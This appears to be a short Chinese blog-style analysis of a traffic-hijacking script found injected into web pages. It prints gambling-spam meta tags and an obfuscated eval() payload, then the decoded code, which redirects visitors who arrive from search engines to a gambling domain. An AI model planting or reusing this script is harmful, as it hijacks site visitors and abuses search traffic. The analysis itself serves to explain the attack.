一段流量劫持代码
仅供研究,勿用于非法用途。
源代码:
<noscript><title>🔵金沙赌博网,金沙赌博网开户,澳门赌博网,新葡京官网,现金网棋牌,真人赌钱网,美高梅官网平台,现金博彩官网</title></noscript> <meta name="keywords" content="金沙赌博网,金沙赌博网开户,澳门赌博网,新葡京官网,现金网棋牌,真人赌钱网,美高梅官网平台,现金博彩官网"/><meta name="description" content="🔵🔵🔵♠♥♣♦🔵🔵🔵金沙赌博网,金沙赌博网开户,澳门赌博网,新葡京官网,现金网棋牌,真人赌钱网,美高梅官网平台,现金博彩官网"/> <script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2(5.f!=\'4\'){1 r=g.d;r=r.e();1 3=k l(\'h.\',\'j.\',\'8.\',\'6.\',\'c.\',\'7.\');1 b=a;9(i v 3){2(r.u(3[i])>0){b=x;w}}2(b){n.m=\'p://t.s.q/\';5.o=\'4\'}}',34,34,'|var|if|aSites|ad_app6|window|so|sogou|soso|for|false||360|referrer|toLowerCase|name|document|google||baidu|new|Array|location|self|adworkergo|http|com||bigdai|www|indexOf|in|break|true'.split('|'),0,{})) </script>
对以上eval js代码解密后(使用工具:http://tool.lu/js/):
if (window.name != 'ad_app6') { var r = document.referrer; r = r.toLowerCase(); var aSites = new Array('google.', 'baidu.', 'soso.', 'so.', '360.', 'sogou.'); var b = false; for (i in aSites) { if (r.indexOf(aSites[i]) > 0) { b = true; break } } if (b) { self.location = 'http://www#bigdai#com/';(不贡献流量,.号用#替代) window.adworkergo = 'ad_app6' } }
代码没什么特殊的,就是检测当前window名字若不为ad_app6,则获取访问当前页面之前的页面,目的是监测搜索引擎的搜索流量。
然后逐一去访问来源的域名中找aSites数组中存在的搜索引擎,如果存在,设置一个bool变量b为真。
若b为真,自动转向劫持到目标域名,并为window添加一个属性,目的是啥不知道。